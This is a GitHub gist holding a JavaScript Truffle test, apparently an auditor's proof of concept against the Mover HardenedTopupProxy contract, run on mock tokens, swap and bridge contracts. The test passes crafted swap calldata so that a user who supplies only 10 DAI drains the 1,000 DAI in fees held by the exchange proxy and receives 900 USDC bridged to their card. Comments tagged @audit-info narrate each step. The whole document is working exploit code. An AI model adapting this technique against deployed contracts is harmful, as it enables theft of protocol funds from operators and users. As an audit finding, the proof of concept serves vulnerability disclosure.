-
-
Save berndartmueller/5cfa9d784a32ecba92eb6abaf4d464d9 to your computer and use it in GitHub Desktop.
Mover Topup Exploit Fees
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// load dependencies | |
const { expect } = require('chai'); | |
const truffleAssert = require('truffle-assertions'); | |
const { deployProxy } = require('@openzeppelin/truffle-upgrades'); | |
const { time } = require('@openzeppelin/test-helpers'); | |
const web3utils = require('web3-utils'); | |
// mockup contracts for tests | |
const MockUSDC = artifacts.require('ERC20USDCMock'); | |
const MockDAI = artifacts.require('ERC20DAIMock'); | |
const MockSwap = artifacts.require('TokenSwapExecutorMock'); | |
const MockBridge = artifacts.require('TokenBridgeMock'); | |
// production contracts | |
const HardenedTopupProxy = artifacts.require('HardenedTopupProxy'); | |
const ExchangeProxy = artifacts.require('ExchangeProxy'); | |
const ContractTrustedRegistry = artifacts.require('ContractWhitelist'); | |
// packages for signing (non-prefixed) operations | |
const bip39 = require('bip39'); | |
const { hdkey } = require('ethereumjs-wallet'); | |
const secp256k1 = require('secp256k1'); | |
contract('HardenedTopupProxy: Trusted signature flow', function (accounts) { | |
beforeEach(async function () { | |
// 1. deploy mocked token, swap aggregator and bridge | |
this.mockusdc = await MockUSDC.new(accounts[0], { from: accounts[0] }); | |
this.mockdai = await MockDAI.new(accounts[0], { from: accounts[0] }); | |
this.swapmock = await MockSwap.new({ from: accounts[0] }); | |
this.bridgemock = await MockBridge.new({ from: accounts[0] }); | |
// 2. deploy topup proxy (setup chain id to develop) and exchnge proxy | |
this.topupproxy = await deployProxy(HardenedTopupProxy, [web3.utils.toBN('1337'), '0x820539'], { from: accounts[0] }); | |
this.exchangeproxy = await ExchangeProxy.new({ from: accounts[0] }); | |
// 3. initialize trusted contract registry | |
this.registry = await deployProxy(ContractTrustedRegistry, { from: accounts[0] }); | |
await this.registry.add(this.bridgemock.address, { from: accounts[0] }); | |
// 4. connect contracts | |
await this.topupproxy.setExchangeProxy(this.exchangeproxy.address, { from: accounts[0] }); | |
await this.exchangeproxy.setTransferProxy(this.topupproxy.address, { from: accounts[0] }); | |
await this.topupproxy.setTrustedRegistry(this.registry.address, { from: accounts[0] }); | |
await this.exchangeproxy.setTrustedRegistry(this.registry.address, { from: accounts[0] }); | |
await this.topupproxy.setCardPartnerAddress(accounts[8], { from: accounts[0] }); | |
await this.topupproxy.setCardTopupToken(this.mockusdc.address, { from: accounts[0] }); | |
}); | |
it.only('can use fees from exchange proxy for topup', async function() { | |
// 1. create EOA and provide role of 'trusted executor' to it | |
const seed = await bip39.mnemonicToSeed("trophy just rib bamboo skirt follow such margin agree fence peanut vague"); | |
const hdk = hdkey.fromMasterSeed(seed); | |
const addr_node = hdk.derivePath("m/44'/60'/0'/0/1"); //m/44'/60'/0'/0/0 is derivation path for the first account. m/44'/60'/0'/0/1 is the derivation path for the second account and so on | |
const addr = addr_node.getWallet().getAddressString(); //check that this is the same with the address that ganache list for the first account to make sure the derivation is correct | |
const private_key = addr_node.getWallet().getPrivateKey(); | |
await this.topupproxy.grantRole(web3.utils.sha3("TRUSTED_EXECUTION"), addr, { from: accounts[0] }); | |
await this.topupproxy.setAllowanceSignatureTimespan(600, { from: accounts[0] }); | |
// @audit-info accounts[2] is to make topup with 10 DAI | |
await this.mockdai.transfer(accounts[2], web3.utils.toBN('10'), { from: accounts[0] }); | |
// @audit-info Move 1_000e18 DAI fees in swap proxy to simulate fees collected | |
await this.mockdai.transfer(this.exchangeproxy.address, web3.utils.toBN('1000000000000000000000'), { from: accounts[0] }); | |
expect((await this.mockdai.balanceOf(this.exchangeproxy.address)).toString()).to.equal('1000000000000000000000'); // 1_000e18 DAI in fees | |
// 3. sign the message by trusted executor (without prefix) | |
const timestampApprove = await time.latest(); | |
const message = web3utils.encodePacked( | |
{value: 'MOVER TOPUP ', type: 'string'}, | |
{value: web3.utils.keccak256(accounts[2]), type: 'bytes32'}, | |
{value: ' TOKEN ', type: 'string'}, | |
{value: this.mockdai.address, type: 'address'}, | |
{value: ' AMOUNT ', type: 'string'}, | |
{value: web3.utils.toBN('10'), type: 'uint256'}, // @audit-info only 10 DAI is provided by the user for topup | |
{value: ' TS ', type: 'string'}, | |
{value: timestampApprove, type: 'uint256'} | |
); | |
const msghash = Uint8Array.from(web3.utils.hexToBytes(web3.utils.keccak256(message))); | |
const sig = secp256k1.ecdsaSign(msghash, private_key); | |
const signature = [].concat(Array.from(sig.signature), (sig.recid + 27)); | |
// transfer all USDC mock balance to swap executor | |
await this.mockusdc.transfer(this.swapmock.address, web3.utils.toBN('1000000000000'), { from: accounts[0] }); | |
expect((await this.mockusdc.balanceOf(accounts[0])).toString()).to.equal('0'); | |
await this.registry.add(this.swapmock.address, { from: accounts[0] }); | |
await this.mockdai.transfer(accounts[2], web3.utils.toBN('10'), { from: accounts[0] }); | |
this.approveTx = await this.mockdai.approve(this.topupproxy.address, web3.utils.toBN('10'), { from: accounts[2] }); // @audit-info 10 DAI is approved for spending | |
const swapData = [].concat(web3.utils.hexToBytes(this.swapmock.address), web3.utils.hexToBytes(this.swapmock.address), | |
web3.utils.hexToBytes('0x0000000000000000000000000000000000000000000000000000000000000000'), | |
web3.utils.hexToBytes('0xec6cc0cc000000000000000000000000'), //func hash + padding for address of token from | |
web3.utils.hexToBytes(this.mockdai.address), | |
web3.utils.hexToBytes('0x000000000000000000000000'), //padding for address of token to | |
web3.utils.hexToBytes(this.mockusdc.address), | |
web3.utils.hexToBytes('0x00000000000000000000000000000000000000000000003635C9ADC5DEA00000')); // @audit-info 1_000e18 DAI (not only the 10 DAI provided, it includes collected fees) is swapped for USDC | |
// 1BC16D674EC80000 | |
// 4. call topup from accounts[2] providing signed recent approval verification | |
const bridgeData = [].concat(web3.utils.hexToBytes(this.bridgemock.address), | |
web3.utils.hexToBytes('0x0000000000000000000000000000000000000000000000000000000000000000')); // bridge fee (not used in mock bridge) | |
const tx = await this.topupproxy.CardTopupTrusted(this.mockdai.address, | |
web3.utils.toBN('10'), // @audit-info 10 DAI | |
web3.utils.toBN(timestampApprove), | |
web3.utils.bytesToHex(signature), | |
web3.utils.toBN(0), | |
swapData, | |
web3.utils.toBN(1), | |
bridgeData, | |
'0x0000000000000000000000000000000000000000000000000000000000000000', { from: accounts[2] }); | |
truffleAssert.eventEmitted(tx, 'CardTopup', (ev) => { | |
return ev.account.toString() === accounts[2] && | |
ev.token.toString() === this.mockdai.address && | |
ev.valueToken.toString() === '10' && | |
ev.valueUSDC.toString() === '900000000'; | |
}); | |
const innerTx = await truffleAssert.createTransactionResult(this.exchangeproxy, tx.tx); | |
truffleAssert.eventEmitted(innerTx, 'ExecuteSwap', (ev) => { | |
return ev.user.toString() === this.topupproxy.address && | |
ev.tokenIn.toString() === this.mockdai.address && | |
ev.tokenOut.toString() === this.mockusdc.address && | |
ev.amountIn.toString() === '10' && | |
ev.amountOut.toString() === '900000000'; | |
}); | |
// expect balance of 'bridge' to have usdc | |
expect((await this.mockusdc.balanceOf(this.bridgemock.address)).toString()).to.equal('900000000'); // @audit-info 900e6 USDC is bridged by only providing 10 DAI, collected DAI fees have been stolen by the user and used as a topup | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment